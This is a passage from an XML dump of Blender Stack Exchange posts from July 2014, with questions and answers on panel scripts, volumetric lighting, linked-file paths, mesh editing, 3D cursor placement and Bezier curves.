register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates a panel in Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFYZx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After having read through a lot of tutorials and getting lost in the documentation, I still got no clue. How do I create a button(similar to the one I have now, which says 'Render') that executes my script when pressed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script to be run is called &quot;CreateFolderStructure.py&quot; and is stored on my harddrive.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2014-07-06T21:50:40.090" Title="How do I run scripts from a custom button in panel?" Tags="&lt;python&gt;&lt;interface&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-07-07T22:49:16.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="13812" PostTypeId="2" ParentId="13807" CreationDate="2014-07-06T21:06:25.750" Score="4" Body="&lt;p&gt;I managed to solve it thanks to Richard on &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?342237-Blender-Render-suddenly-turns-everything-black&amp;amp;p=2681626&amp;amp;viewfull=1#post2681626&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blenderartits.org&lt;/a&gt;, basically I had to check &lt;strong&gt;Shadows&lt;/strong&gt; under &lt;em&gt;Shading&lt;/em&gt; in the Render Tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FfIbi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="109" LastActivityDate="2014-07-06T21:06:25.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="2" ParentId="13802" CreationDate="2014-07-06T23:02:03.780" Score="17" Body="&lt;p&gt;There are several considerations here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Spot lamps and sun lamps are quite different (I suspect you are using a spot lamp to simulate a sun lamp, as sun lamps are not yet supported with world volumetrics).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Spot lamps must be placed far away in order to simulate a sun lamp, as spot lamps diverge, while sun lamps do not. Sun lamps do not have a fallof, while spot lamps do.&lt;/p&gt;&#xA;&lt;p&gt;This means that using a spot lamp like a sun lamp will either require big strength values, or constant falloff (which you can do with the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/color/light_falloff.html#light-falloff-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Light Falloff node&lt;/em&gt;)&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kARpD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The World shader fills the &lt;em&gt;entire&lt;/em&gt; scene. &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/lights/world.html#volume&quot; rel=&quot;nofollow noreferrer&quot;&gt;The manual explains why this problem nicely&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;. . . the world surface shader or sun lamps will have no effect if a volume&#xA;shader is used. This is because the world background is assumed to be&#xA;infinitely far away, which is accurate enough for the sun for example.&#xA;However for modelling effects such as fog or atmospheric scattering,&#xA;it is not a good assumption that the volume fills the entire space, as&#xA;most of the distance between the sun and the earth is empty space. For&#xA;such effects it is be better to create a volume object surrounding the&#xA;scene. The size of this object will determine how much light is&#xA;scattered or absorbed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This means that the light from the spot lamp is being absorbed before it even gets to the scene, and since the spot lamp is probably rather far away from the scene if it is being used to simulate a sun lamp, this will have a very significant impact on the amount of light reaching the model.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No ambient illumination with world volumes, for the same reasons as with sun lamps. This means your lamp is having to provide all the illumination for your scene.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;#The solution&#xA;A solution to these issues is to use a object surrounding the part of your scene which you want to be dusty/foggy/whatever instead of the world volumetrics. In this case, you probably only want the inside of your hallway to be dusty, so create an object surrounding that portion:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VhN30.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And disable world volumetrics (by editing the world material node setup).&lt;/p&gt;&#xA;&lt;p&gt;This means that we can use sun lamps (of course, you can still use spot lamps too), and the surface output of the world shader will contribute to the scene again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;s&gt;There is one problem, putting the camera inside a volume object is not currently supported.&lt;/s&gt; &lt;strong&gt;Update:&lt;/strong&gt; camera in volume is now supported as of &lt;a href=&quot;https://developer.blender.org/rBfe731686fb31b6c3781867d93219b8e0a3a55824&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt;. This will be in 2.73 or any &lt;a href=&quot;https://blender.stackexchange.com/q/3438/599&quot;&gt;recent build&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Until then, this can be worked around by placing the camera inside a cube or sphere and using a &lt;em&gt;difference&lt;/em&gt; boolean modifier on the volume object to subtract the cube from it (you can also parent the &amp;quot;camera case&amp;quot; to the camera, so that it goes where the camera goes). Also be sure to hide the the &amp;quot;camera case&amp;quot;, so that it does not show up in the render:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0DjXg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;#Result&lt;/p&gt;&#xA;&lt;p&gt;For comparison, here is the scene rendered with a spot lamp (with constant falloff):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUU7E.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;And a normal sun lamp:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQFOC.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/materials/components/volume.html#volumes&quot; rel=&quot;nofollow noreferrer&quot;&gt;The manual on volume rendering&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/8001/599&quot;&gt;Correct way to render crepuscular rays in cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;All that said, in the end it comes down to what looks good ;)&#xA;If world volumes + a very powerful spot lamp is working for you, than there is no reason not to do that.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-21T14:36:43.210" LastActivityDate="2020-10-21T14:36:43.210" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13815" PostTypeId="2" ParentId="13800" CreationDate="2014-07-06T23:41:12.630" Score="17" Body="&lt;p&gt;Yes. At the outliner panel, find &lt;strong&gt;blender File&lt;/strong&gt; in the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q7zb6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see then the current file listed along with other linked files. You can edit the path by clicking over it twice with the left mouse button, or using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+ left mouse over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TZVok.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must rewrite the new access path yourself. Save and reload to apply the changes.&#xA;WARNING !! DO backup before you do this! If the linked file is not found, the result will be a broken file without the link. If you save again with that error, you will loose any reference (instances to that file) forever, forcing you to relink again.&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorDisplayName="user1853" LastEditDate="2014-07-07T01:30:55.197" LastActivityDate="2014-07-07T01:30:55.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13816" PostTypeId="1" AcceptedAnswerId="14345" CreationDate="2014-07-07T04:49:00.560" Score="1" ViewCount="368" Body="&lt;p&gt;I have an FPS, the weapon is a part of the HUD, and I want it to be affected by lighting in scene 1. I can have it be affected by sun and main things, but it wont work when your character moves and there's a spotlight or a point light. How could I make objects in other scenes be affected by lighting in the main level scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I have gotten a great answer but no .blend; therefore, I will ask kindly for another answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Place steps, and a gif(Recommended: &lt;a href=&quot;http://recordit.co/&quot; rel=&quot;nofollow&quot;&gt;http://recordit.co/&lt;/a&gt;), and post a .blend. Try to avoid python as much as possible. Sorry this might be asking for too much, but the answer is sitting there, just do it. I want it to be the best type, that is, have it be affected even by walls in the first scene. In other words, I want the weapon to be JUST as it would be in the regular scene but another. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-11-21T00:42:43.123" LastActivityDate="2014-11-21T00:42:43.123" Title="How can I have objects in second scene be affected by lighting?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13817" PostTypeId="1" CreationDate="2014-07-07T07:43:05.580" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to make a domino movie, but i got stuck while using this dupliframe feature&#xA;It keeps on deforming the object!&#xA;I thought this is used when you just want the object aligned and oriented along the path, but not deformed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using blender version 2.71 did the feature changed during the updates or something??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LeDci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the highlighted mesh is domino shaped mesh an i am trying to duplicate it along the curve without any deformations as the screenshot shows.&lt;/p&gt;&#xA;" OwnerUserId="5099" LastEditorUserId="5099" LastEditDate="2014-07-09T05:40:18.423" LastActivityDate="2014-07-09T05:40:18.423" Title="DupliFrame is deforming the object" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-07-10T01:22:27.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="2" ParentId="13757" CreationDate="2014-07-07T09:04:02.873" Score="2" Body="&lt;p&gt;It's an update of @Flavio answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way to get the final polycount. An object after conversion to BMesh will have the modifiers already applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;print( &quot;Object, Verts, faces, edges&quot; )&#xA;for element in bpy.context.scene.objects:&#xA;    if element.type != &quot;MESH&quot;: continue&#xA;    finalMesh = bmesh.new()&#xA;    finalMesh.from_object( element, bpy.context.scene )&#xA;    print( &quot;%s, %i, %i, %i&quot; % ( element.name, len( finalMesh.verts ), len( finalMesh.faces ), len( finalMesh.edges ) ) )&#xA;finalMesh.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1028" LastEditorUserId="4925" LastEditDate="2014-07-07T09:51:34.743" LastActivityDate="2014-07-07T09:51:34.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13819" PostTypeId="1" CreationDate="2014-07-07T11:11:58.323" Score="1" ViewCount="273" Body="&lt;p&gt;I am new to this amazing world of 3D modeling. I wanted to know how can I start 3D modeling from scratch? I am very new to this,I googled up and found that blender is a nice software for 3D modeling and its free too, so I decided to work onto this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanna know is there any background required for learning 3D modeling or anyone(having some prior interest) can start up with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;well I have some programming experience in C, C++, C#, and python, so am I set with that to learn 3D modeling or do i need to gather some more knowledge or experience in any other field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From where should I start?&lt;/p&gt;&#xA;" OwnerUserId="5101" LastEditorUserId="2217" LastEditDate="2014-07-07T14:23:14.927" LastActivityDate="2015-11-22T00:44:11.470" Title="How to start out in blender?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" ClosedDate="2014-07-07T15:19:54.370" ContentLicense="CC BY-SA 3.0" />
  <row Id="13820" PostTypeId="1" AcceptedAnswerId="13847" CreationDate="2014-07-07T11:31:32.093" Score="4" ViewCount="1479" Body="&lt;p&gt;I wanted to use the &quot;Randomize Transform&quot; tool as described &lt;a href=&quot;https://blender.stackexchange.com/questions/3322/randomly-place-and-scale-objects/3334#3334&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in the first half of that &lt;a href=&quot;https://www.youtube.com/watch?v=FRPfBpS8mbo&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the video, after seperation of each individual cube into single objects, when I want to use the tool, everything is greyed out, like in the attached screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbS72.png&quot; alt=&quot;Randomized Transform greyed out&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="5063" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2020-09-01T17:01:38.857" Title="Randomize Transform is not available" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2014-07-14T17:40:18.407" ContentLicense="CC BY-SA 3.0" />
  <row Id="13821" PostTypeId="2" ParentId="13819" CreationDate="2014-07-07T11:39:59.823" Score="4" Body="&lt;p&gt;You could go to &lt;a href=&quot;http://www.blenderguru.com/&quot; rel=&quot;nofollow&quot;&gt;Blender Guru&lt;/a&gt; for some tutorials; Also there's &lt;a href=&quot;https://cgcookie.com/&quot; rel=&quot;nofollow&quot;&gt;CG Cookie&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-07-07T11:39:59.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13822" PostTypeId="2" ParentId="13819" CreationDate="2014-07-07T13:38:51.473" Score="4" Body="&lt;p&gt;As someonewithpc said &lt;a href=&quot;http://BlenderGuru.com&quot; rel=&quot;nofollow&quot;&gt;BlenderGuru.com&lt;/a&gt; is a really good place to start. That's where I learned most of Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a bunch of tutorials and videos out there: &lt;a href=&quot;http://cgcookie.com/blender&quot; rel=&quot;nofollow&quot;&gt;BlenderCookie&lt;/a&gt;, &lt;a href=&quot;http://www.blenderdiplom.com&quot; rel=&quot;nofollow&quot;&gt;BlenderDiplom&lt;/a&gt;, &lt;a href=&quot;http://blenderartists.org/forum/&quot; rel=&quot;nofollow&quot;&gt;BlenderArtist(forum)&lt;/a&gt;, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that will at least get you started.&lt;/p&gt;&#xA;" OwnerUserId="4978" LastEditorUserId="2217" LastEditDate="2014-07-07T14:27:31.950" LastActivityDate="2014-07-07T14:27:31.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13823" PostTypeId="1" CreationDate="2014-07-07T13:45:54.083" Score="16" ViewCount="73779" Body="&lt;p&gt;Is it possible to change the resolution of a circle after working with it so that it has a greater or fewer number of vertices? If this is not normally possible, but there is a workflow that keeps it editable, that also counts.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2015-03-19T23:20:54.703" LastActivityDate="2017-08-31T14:56:46.857" Title="Increase or decrease vertices in circle after working with it?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13824" PostTypeId="2" ParentId="13823" CreationDate="2014-07-07T14:00:51.853" Score="10" Body="&lt;h2&gt;For Mesh Circle:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While in the 3D View window, enter Edit Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select all vertices (&lt;kbd&gt;A&lt;/kbd&gt;) and click &lt;kbd&gt;W&lt;/kbd&gt; and select &quot;Subdivide Smooth&quot;, then open the Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;), and  change the &quot;Number of cuts&quot; field to match your needs.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For Curve Circle:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While in the 3D View window, select the Circle, enter Edit Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) and select all vertices (&lt;kbd&gt;A&lt;/kbd&gt;) and click &lt;kbd&gt;W&lt;/kbd&gt; and select &quot;Subdivide&quot;, then open the Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;), and  change the &quot;Number of cuts&quot; field to match your needs.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-07-07T14:26:19.147" LastActivityDate="2014-07-07T14:26:19.147" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="2" ParentId="13823" CreationDate="2014-07-07T14:13:44.240" Score="11" Body="&lt;h2&gt;For the creation of a primitive&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Yes, and no&lt;/strong&gt;&lt;br&gt;&#xA;You can change the settings right after creating any of the primitives, by pressing &lt;kbd&gt;f6&lt;/kbd&gt;.&lt;br&gt;&#xA;After you do anything else, (besides moving around the view) the settings are gone with no way to get back to them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Editing loop count in a circle&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To reduce the number of edges.&lt;br&gt;&#xA;In edit mode, select every other loop by &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; (use &lt;kbd&gt;shift&lt;/kbd&gt; to add to the selection). Then press &lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;delete&lt;/kbd&gt; and choose &lt;em&gt;Edge Loop&lt;/em&gt;. Do the same for the edges on the other axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s71hs.png&quot; alt=&quot;Delete menu&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To increase the number of edges.&lt;br&gt;&#xA;Delete the bottom and top vertex (where all the loops meet). Select everything with &lt;kbd&gt;A&lt;/kbd&gt;, then press &lt;kbd&gt;W&lt;/kbd&gt; and choose &lt;em&gt;Subdivide Smooth&lt;/em&gt;. The loops will get wavy, to fix that select them with &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; then press &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Z&lt;/kbd&gt; &lt;kbd&gt;0&lt;/kbd&gt;. Which will flatten them along the Z axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the holes in the top of the circle, select the top edge loop, and extrude it along the Z axis. Then scale to 0, and remove doubles. Do the same for the bottom of the circle.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-10-27T14:19:30.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13826" PostTypeId="2" ParentId="13819" CreationDate="2014-07-07T14:37:48.030" Score="3" Body="&lt;p&gt;There are no prerequisites to learning blender. There are other things you will want to learn in the future, but to just start out in blender no previous experience is required.&lt;br&gt;&#xA;Since you are brand new to blender, I would recommend &lt;a href=&quot;https://www.youtube.com/playlist?list=PL9057AB8E3C66AE80&quot; rel=&quot;nofollow&quot;&gt;cg cookies' blender basics&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T00:44:11.470" LastActivityDate="2015-11-22T00:44:11.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13828" PostTypeId="1" AcceptedAnswerId="13829" CreationDate="2014-07-07T16:46:49.463" Score="93" ViewCount="123785" Body="&lt;p&gt;The 3D cursor can be moved by simply &lt;kbd&gt;LMB &lt;img src=&quot;https://wiki.blender.org/uploads/1/10/Template-LMB.png&quot; alt=&quot;LMB&quot;&gt;&lt;/kbd&gt; clicking anywhere in the viewport. Is there a faster and easier way to position the 3D cursor?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.450" LastActivityDate="2020-08-20T19:43:45.267" Title="Precisely move the 3D cursor" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;workflow&gt;&lt;3d-cursor&gt;" AnswerCount="7" CommentCount="0" FavoriteCount="30" ContentLicense="CC BY-SA 3.0" />
  <row Id="13829" PostTypeId="2" ParentId="13828" CreationDate="2014-07-07T16:46:49.463" Score="100" Body="&lt;h3&gt;An updated 2.8 answer can be found &lt;a href=&quot;https://blender.stackexchange.com/a/160470/2217&quot;&gt;here&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In both edit mode and object mode; press &lt;kbd&gt;N&lt;/kbd&gt; to open the Properties. Scroll down to the &lt;em&gt;3D cursor&lt;/em&gt;. There are three number fields one each for the X, Y, and Z axes.&#xA;For finer control use &lt;kbd&gt;Alt&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt; while dragging the mouse. Also see the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/3d_cursor.html#d-cursor-panel&quot; rel=&quot;noreferrer&quot;&gt;Manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e6ApF.png&quot; alt=&quot;The 3D Cursor panel&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note the coordinates are always in &lt;em&gt;Global&lt;/em&gt;, how the transform orientation is set makes no difference.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-12-21T03:49:22.573" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="13830" PostTypeId="2" ParentId="13828" CreationDate="2014-07-07T18:25:53.767" Score="60" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/editing/transform/control/snap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual&lt;/a&gt;. You can also use the snap menu pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O8Vyg.png&quot; alt=&quot;snap menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cursor to Selected&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;em&gt;Snaps the cursor to the center of the current selection.&lt;/em&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cursor to Center&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;em&gt;Snaps the cursor to the origin of the scene (location 0,0,0).&lt;/em&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cursor to Grid&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;em&gt;Snaps the cursor to the nearest visible grid lines.&lt;/em&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Cursor to Active&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;em&gt;Snaps the cursor to the active (last selected) object, edge, face or vertex.&lt;/em&gt; &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2217" LastEditDate="2019-11-13T02:23:34.943" LastActivityDate="2019-11-13T02:23:34.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13832" PostTypeId="1" AcceptedAnswerId="13833" CreationDate="2014-07-07T19:15:37.017" Score="1" ViewCount="138" Body="&lt;p&gt;I'd like to know how can I add current blender state to history stack over script? Thanks&lt;/p&gt;&#xA;" OwnerUserId="4958" LastActivityDate="2014-07-07T19:18:23.717" Title="How to add current state to history by script?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13833" PostTypeId="2" ParentId="13832" CreationDate="2014-07-07T19:18:23.717" Score="4" Body="&lt;p&gt;Its functionality is limited, but &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.ops.ed.html#bpy.ops.ed.undo_push&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.ops.ed.undo_push()&lt;/code&gt;&lt;/a&gt; may give you close to what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2014-07-07T19:18:23.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13834" PostTypeId="1" AcceptedAnswerId="13841" CreationDate="2014-07-07T19:19:26.447" Score="2" ViewCount="1046" Body="&lt;p&gt;I've found myself at the point in my model where I have to start animating the eyes. My current setup are 2 flat ovals that are embedded in a TV screen for my &quot;Flubber&quot; like character. I've found this video: &lt;a href=&quot;https://www.youtube.com/watch?v=kAfBIcCrg1A&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=kAfBIcCrg1A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exactly what I want to make my character to emote. My knowledge is limited here, but I'm thinking it's the boolean operator on intersect with my eye shape. However I don't get the nice 3D extrusion in the video above. I've messaged the author of the above video, and I'm also hoping I can get some guidance here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for you reply.&lt;/p&gt;&#xA;" OwnerUserId="5071" LastActivityDate="2014-07-07T21:32:59.077" Title="Trying to replicate a 2D Eye Rig" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13835" PostTypeId="1" CreationDate="2014-07-07T20:11:54.403" Score="4" ViewCount="2844" Body="&lt;p&gt;Would it be possible to call Python codes I wrote in Text Editor from the Python console so that I can interact with it?&lt;/p&gt;&#xA;" OwnerUserId="802" LastActivityDate="2014-07-07T22:48:52.960" Title="Calling Python Function from Console" Tags="&lt;python&gt;&lt;command-line&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="1" AcceptedAnswerId="13837" CreationDate="2014-07-07T20:16:31.667" Score="10" ViewCount="13199" Body="&lt;p&gt;Is there any way to straighten out the default Bezier Curve? By default it looks like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SGpbx.png&quot; alt=&quot;Bezier Curve&quot;&gt;&lt;br&gt;&#xA;What I end up doing is selecting the left control handle and rotating by 45° to make the curve straight. Is there any easier way, a keystroke?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2014-07-07T20:32:46.210" LastActivityDate="2016-05-09T20:22:26.520" Title="Straighten bezier curve?" Tags="&lt;bezier-curves&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
